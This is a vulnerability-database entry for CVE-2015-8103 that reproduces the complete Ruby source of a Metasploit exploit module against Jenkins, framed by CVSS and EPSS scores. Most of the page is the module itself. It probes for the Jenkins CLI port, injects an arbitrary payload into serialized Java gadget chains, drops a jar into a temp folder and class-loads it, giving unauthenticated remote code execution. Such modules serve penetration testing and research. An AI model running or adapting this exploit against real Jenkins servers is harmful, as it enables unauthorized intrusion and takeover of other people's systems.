Lucene search

K
metasploitChristopher Frohoff, Steve Breen, Dev Mohanty, Louis Sato, wvu <[email protected]>, juan vazquez <[email protected]>, Wei ChenMSF:EXPLOIT-LINUX-MISC-JENKINS_JAVA_DESERIALIZE-
HistoryDec 11, 2015 - 8:57 p.m.

Jenkins CLI RMI Java Deserialization Vulnerability

2015-12-1120:57:10
Christopher Frohoff, Steve Breen, Dev Mohanty, Louis Sato, wvu <[email protected]>, juan vazquez <[email protected]>, Wei Chen
www.rapid7.com
45

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.808 High

EPSS

Percentile

98.3%

This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, which allows remote arbitrary code execution. Authentication is not required to exploit this vulnerability.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Jenkins CLI RMI Java Deserialization Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
        the Jenkins master, which allows remote arbitrary code execution. Authentication is not
        required to exploit this vulnerability.
      },
      'Author'         =>
          [
            'Christopher Frohoff', # Vulnerability discovery
            'Steve Breen',         # Public Exploit
            'Dev Mohanty',         # Metasploit module
            'Louis Sato',          # Metasploit
            'wvu',                 # Metasploit
            'juan vazquez',        # Metasploit
            'Wei Chen'             # Metasploit
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
          [
            ['CVE', '2015-8103'],
            ['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],
            ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
            ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
            ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']
          ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          [ 'Jenkins 1.637', {} ]
        ],
      'DisclosureDate' => '2015-11-18',
      'DefaultTarget' => 0))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
      OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
      Opt::RPORT('8080')
    ])

    register_advanced_options([
      OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])
    ])
  end

  def cli_port
    @jenkins_cli_port || datastore['XJenkinsCliPort']
  end

  def exploit
    if cli_port == 0 && !vulnerable?
      fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
    end
    invoke_remote_method(set_payload)
    invoke_remote_method(class_load_payload)
  end


  # This is from the HttpClient mixin. But since this module isn't actually exploiting
  # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
  # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.

  def target_uri
    begin
      # In case TARGETURI is empty, at least we default to '/'
      u = datastore['TARGETURI']
      u = "/" if u.nil? or u.empty?
      URI(u)
    rescue ::URI::InvalidURIError
      print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
      raise Msf::OptionValidateError.new(['TARGETURI'])
    end
  end

  def normalize_uri(*strs)
    new_str = strs * "/"

    new_str = new_str.gsub!("//", "/") while new_str.index("//")

    # Makes sure there's a starting slash
    unless new_str[0,1] == '/'
      new_str = '/' + new_str
    end

    new_str
  end

  def check
    result = Exploit::CheckCode::Safe

    begin
      if vulnerable?
        result = Exploit::CheckCode::Vulnerable
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    result
  end

  def vulnerable?
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      fail_with(Failure::Unknown, 'The connection timed out.')
    end

    http_headers = res.headers

    unless http_headers['X-Jenkins-CLI-Port']
      vprint_error('The server does not have the CLI port that is needed for exploitation.')
      return false
    end

    if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
      @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
      return true
    end

    false
  end

  # Connects to the server, creates a request, sends the request,
  # reads the response
  #
  # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
  #
  def send_request_cgi(opts={}, timeout = 20)
    if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
      actual_timeout = datastore['HttpClientTimeout']
    else
      actual_timeout =  opts[:timeout] || timeout
    end

    begin
      c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
      c.connect
      r = c.request_cgi(opts)
      c.send_recv(r, actual_timeout)
    rescue ::Errno::EPIPE, ::Timeout::Error
      nil
    end
  end

  def invoke_remote_method(serialized_java_stream)
    begin
      socket = connect(true, {'RPORT' => cli_port})

      print_status 'Sending headers...'
      socket.put(read_bin_file('serialized_jenkins_header'))

      vprint_status(socket.recv(1024))
      vprint_status(socket.recv(1024))

      encoded_payload0 = read_bin_file('serialized_payload_header')
      encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)
      encoded_payload2 = read_bin_file('serialized_payload_footer')

      encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"
      print_status "Sending payload length: #{encoded_payload.length}"
      socket.put(encoded_payload)
    ensure
      disconnect(socket)
    end

  end

  def print_status(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  #
  # Serialized stream generated with:
  # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
  #
  def set_payload
    stream = Rex::Java::Serialization::Model::Stream.new

    handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')
    decoded = stream.decode(handle)
    handle.close

    inject_payload_into_stream(decoded).encode
  end

  #
  # Serialized stream generated with:
  # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
  #
  def class_load_payload
    stream = Rex::Java::Serialization::Model::Stream.new
    handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')
    decoded = stream.decode(handle)
    handle.close
    inject_class_loader_into_stream(decoded).encode
  end

  def inject_class_loader_into_stream(decoded)
    file_name_utf8 = get_array_chain(decoded)
                         .values[2]
                         .class_data[0]
                         .values[1]
                         .values[0]
                         .values[0]
                         .class_data[3]
    file_name_utf8.contents = get_random_file_name
    file_name_utf8.length = file_name_utf8.contents.length
    class_name_utf8 = get_array_chain(decoded)
                          .values[4]
                          .class_data[0]
                          .values[0]
    class_name_utf8.contents = 'metasploit.Payload'
    class_name_utf8.length = class_name_utf8.contents.length
    decoded
  end

  def get_random_file_name
    @random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"
  end

  def inject_payload_into_stream(decoded)
    byte_array = get_array_chain(decoded)
                     .values[2]
                     .class_data
                     .last
    byte_array.values = payload.encoded.bytes
    file_name_utf8 = decoded.references[44].class_data[0]
    rnd_fname = get_random_file_name
    register_file_for_cleanup(rnd_fname)
    file_name_utf8.contents = rnd_fname
    file_name_utf8.length = file_name_utf8.contents.length
    decoded
  end

  def get_array_chain(decoded)
    object = decoded.contents[0]
    lazy_map = object.class_data[1].class_data[0]
    chained_transformer = lazy_map.class_data[0]
    chained_transformer.class_data[0]
  end

  def read_bin_file(bin_file_path)
    data = ''

    File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|
      data = f.read
    end

    data
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.808 High

EPSS

Percentile

98.3%